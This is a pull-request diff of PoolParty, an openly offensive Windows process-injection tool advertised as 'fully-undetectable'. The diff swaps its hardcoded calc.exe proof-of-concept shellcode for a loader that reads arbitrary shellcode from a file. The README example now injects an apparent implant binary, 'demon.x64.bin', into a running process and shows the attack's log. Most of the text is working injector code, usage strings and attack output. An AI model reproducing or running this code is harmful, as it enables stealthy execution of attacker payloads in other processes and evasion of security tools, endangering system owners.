Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 4 additions & 4 deletions PoolParty/PoolParty.hpp
Original file line number Diff line number Diff line change
Expand Up @@ -33,12 +33,12 @@
namespace logging = boost::log;
namespace keywords = boost::log::keywords;

typedef struct _POOL_PARTY_CMD_ARGS
{
BOOL bDebugPrivilege;
typedef struct _POOL_PARTY_CMD_ARGS {
int VariantId;
int TargetPid;
} POOL_PARTY_CMD_ARGS, * PPOOL_PARTY_CMD_ARGS;
BOOL bDebugPrivilege;
std::string ShellcodeFilePath;
} POOL_PARTY_CMD_ARGS;

class PoolParty
{
Expand Down
85 changes: 51 additions & 34 deletions PoolParty/main.cpp
Original file line number Diff line number Diff line change
@@ -1,29 +1,30 @@
#include "PoolParty.hpp"
#include <fstream>

unsigned char g_Shellcode[] =
"\xE8\xBA\x00\x00\x00\x48\x8D\xB8\x9E\x00\x00\x00"
"\x48\x31\xC9\x65\x48\x8B\x41\x60\x48\x8B\x40\x18"
"\x48\x8B\x70\x20\x48\xAD\x48\x96\x48\xAD\x48\x8B"
"\x58\x20\x4D\x31\xC0\x44\x8B\x43\x3C\x4C\x89\xC2"
"\x48\x01\xDA\x44\x8B\x82\x88\x00\x00\x00\x49\x01"
"\xD8\x48\x31\xF6\x41\x8B\x70\x20\x48\x01\xDE\x48"
"\x31\xC9\x49\xB9\x47\x65\x74\x50\x72\x6F\x63\x41"
"\x48\xFF\xC1\x48\x31\xC0\x8B\x04\x8E\x48\x01\xD8"
"\x4C\x39\x08\x75\xEF\x48\x31\xF6\x41\x8B\x70\x24"
"\x48\x01\xDE\x66\x8B\x0C\x4E\x48\x31\xF6\x41\x8B"
"\x70\x1C\x48\x01\xDE\x48\x31\xD2\x8B\x14\x8E\x48"
"\x01\xDA\x49\x89\xD4\x48\xB9\x57\x69\x6E\x45\x78"
"\x65\x63\x00\x51\x48\x89\xE2\x48\x89\xD9\x48\x83"
"\xEC\x30\x41\xFF\xD4\x48\x83\xC4\x30\x48\x83\xC4"
"\x10\x48\x89\xC6\x48\x89\xF9\x48\x31\xD2\x48\xFF"
"\xC2\x48\x83\xEC\x20\xFF\xD6\xEB\xFE\x48\x8B\x04"
"\x24\xC3\C:\\Windows\\System32\\calc.exe\x00";

auto g_szShellcodeSize = sizeof(g_Shellcode);
bool ReadShellcodeFromFile(const std::string& path, std::unique_ptr<unsigned char[]>& buffer, size_t& size)
{
std::ifstream file(path, std::ios::binary | std::ios::ate);
if (!file) {
std::cerr << "[!] Failed to open shellcode file: " << path << std::endl;
return false;
}

size = static_cast<size_t>(file.tellg());
buffer = std::make_unique<unsigned char[]>(size);

file.seekg(0, std::ios::beg);
if (!file.read(reinterpret_cast<char*>(buffer.get()), size)) {
std::cerr << "[!] Failed to read shellcode file: " << path << std::endl;
return false;
}

BOOST_LOG_TRIVIAL(info) << "Loaded shellcode (" << size << " bytes) from: " << path;
return true;
}

void PrintUsage()
{
std::cout << "usage: PoolParty.exe -V <VARIANT ID> -P <TARGET PID>" << std::endl << std::endl <<
std::cout << "usage: PoolParty.exe -V <VARIANT ID> -P <TARGET PID> -F <SHELLCODE FILE>" << std::endl << std::endl <<
"VARIANTS:" << std::endl <<
"------" << std::endl << std::endl <<
"#1: (WorkerFactoryStartRoutineOverwrite) " << std::endl << "\t+ Overwrite the start routine of the target worker factory" << std::endl << std::endl <<
Expand All @@ -36,12 +37,12 @@ void PrintUsage()
"#8: (RemoteTpTimerInsertion) " << std::endl << "\t+ Insert TP_TIMER work item to the target process's thread pool" << std::endl << std::endl << std::endl <<
"EXAMPLES:" << std::endl <<
"------" << std::endl << std::endl <<
"#1 RemoteTpWorkInsertion against pid 1234 " << std::endl << "\t>>PoolParty.exe -V 2 -P 1234" << std::endl << std::endl <<
"#2 RemoteTpIoInsertion against pid 1234 with debug privileges" << std::endl << "\t>>PoolParty.exe -V 4 -P 1234 -D" << std::endl << std::endl;
"#1 RemoteTpWorkInsertion against pid 1234 " << std::endl << "\t>>PoolParty.exe -V 2 -P 1234 -F test.bin" << std::endl << std::endl <<
"#2 RemoteTpIoInsertion against pid 1234 with debug privileges" << std::endl << "\t>>PoolParty.exe -V 4 -P 1234 -D -F test.bin" << std::endl << std::endl;
}

POOL_PARTY_CMD_ARGS ParseArgs(int argc, char** argv) {
if (argc < 5) {
if (argc < 7) {
PrintUsage();
throw std::runtime_error("Too few arguments supplied ");
}
Expand All @@ -68,33 +69,37 @@ POOL_PARTY_CMD_ARGS ParseArgs(int argc, char** argv) {
CmdArgs.bDebugPrivilege = TRUE;
continue;
}
if (CmdArg == "-F" || CmdArg == "--shellcode-file") {
CmdArgs.ShellcodeFilePath = args.at(++i);
continue;
}
PrintUsage();
throw std::runtime_error((boost::format("Invalid option: %s") % CmdArg).str());
}

return CmdArgs;
}

std::unique_ptr<PoolParty> PoolPartyFactory(int VariantId, int TargetPid)
std::unique_ptr<PoolParty> PoolPartyFactory(int VariantId, int TargetPid, unsigned char* pShellcode, size_t ShellcodeSize)
{
switch (VariantId)
{
case 1:
return std::make_unique<WorkerFactoryStartRoutineOverwrite>(TargetPid, g_Shellcode, g_szShellcodeSize);
return std::make_unique<WorkerFactoryStartRoutineOverwrite>(TargetPid, pShellcode, ShellcodeSize);
case 2:
return std::make_unique<RemoteTpWorkInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
return std::make_unique<RemoteTpWorkInsertion>(TargetPid, pShellcode, ShellcodeSize);
case 3:
return std::make_unique<RemoteTpWaitInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
return std::make_unique<RemoteTpWaitInsertion>(TargetPid, pShellcode, ShellcodeSize);
case 4:
return std::make_unique<RemoteTpIoInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
return std::make_unique<RemoteTpIoInsertion>(TargetPid, pShellcode, ShellcodeSize);
case 5:
return std::make_unique<RemoteTpAlpcInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
return std::make_unique<RemoteTpAlpcInsertion>(TargetPid, pShellcode, ShellcodeSize);
case 6:
return std::make_unique<RemoteTpJobInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
return std::make_unique<RemoteTpJobInsertion>(TargetPid, pShellcode, ShellcodeSize);
case 7:
return std::make_unique<RemoteTpDirectInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
return std::make_unique<RemoteTpDirectInsertion>(TargetPid, pShellcode, ShellcodeSize);
case 8:
return std::make_unique<RemoteTpTimerInsertion>(TargetPid, g_Shellcode, g_szShellcodeSize);
return std::make_unique<RemoteTpTimerInsertion>(TargetPid, pShellcode, ShellcodeSize);
default:
PrintUsage();
throw std::runtime_error("Invalid variant ID");
Expand Down Expand Up @@ -125,13 +130,25 @@ int main(int argc, char** argv)
{
const auto CmdArgs = ParseArgs(argc, argv);

std::unique_ptr<unsigned char[]> shellcode;
size_t shellcodeSize = 0;

if (!CmdArgs.ShellcodeFilePath.empty()) {
if (!ReadShellcodeFromFile(CmdArgs.ShellcodeFilePath, shellcode, shellcodeSize)) {
throw std::runtime_error("[-] Could not load shellcode from file.");
}
}
else {
throw std::runtime_error("[-] Shellcode file path must be provided with -F option.");
}

if (CmdArgs.bDebugPrivilege)
{
w_RtlAdjustPrivilege(SeDebugPrivilege, TRUE, FALSE);
BOOST_LOG_TRIVIAL(info) << "Retrieved SeDebugPrivilege successfully";
}

const auto Injector = PoolPartyFactory(CmdArgs.VariantId, CmdArgs.TargetPid);
const auto Injector = PoolPartyFactory(CmdArgs.VariantId, CmdArgs.TargetPid, shellcode.get(), shellcodeSize);
Injector->Inject();
}
catch (const std::exception& ex)
Expand Down
34 changes: 14 additions & 20 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -17,36 +17,30 @@ A collection of fully-undetectable process injection techniques abusing Windows

## Usage
```
PoolParty.exe -V <VARIANT ID> -P <TARGET PID>
PoolParty.exe -V <VARIANT ID> -P <TARGET PID> -F <SHELLCODE FILE>
```

## Usage Examples

Insert TP_TIMER work item to process ID 1234
Insert TP_WORK work item to process ID 43988
```
>> PoolParty.exe -V 8 -P 1234

[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
> .\PoolParty\x64\Release\PoolParty.exe -V 2 -P 43988 -F .\demon.x64.bin
[info] Loaded shellcode (290097 bytes) from: .\demon.x64.bin
[info] Starting PoolParty attack against process id: 43988
[info] Retrieved handle to the target process: 000000000000005C
[info] Hijacked worker factory handle from the target process: 00000000000000BC
[info] Allocated shellcode memory in the target process: 000001A820F80000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] Read target process's TP_POOL structure into the current process
[info] Created TP_WORK structure associated with the shellcode
[info] Modified the TP_WORK structure to be associated with target process's TP_POOL
[info] Allocated TP_WORK memory in the target process: 000001A820FD0000
[info] Written the specially crafted TP_WORK structure to the target process
[info] Modified the target process's TP_POOL task queue list entry to point to the specially crafted TP_WORK
[info] PoolParty attack completed successfully

```

## Default Shellcode and Customization
The default shellcode spawns a calculator via the [WinExec API](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec).

To customize the executable to execute, change the path in the end of the `g_Shellcode` variable present in the main.cpp file.

## Author - Alon Leviev
* LinkedIn - [Alon Leviev](https://il.linkedin.com/in/alonleviev)
* Twitter - [@_0xDeku](https://twitter.com/_0xDeku)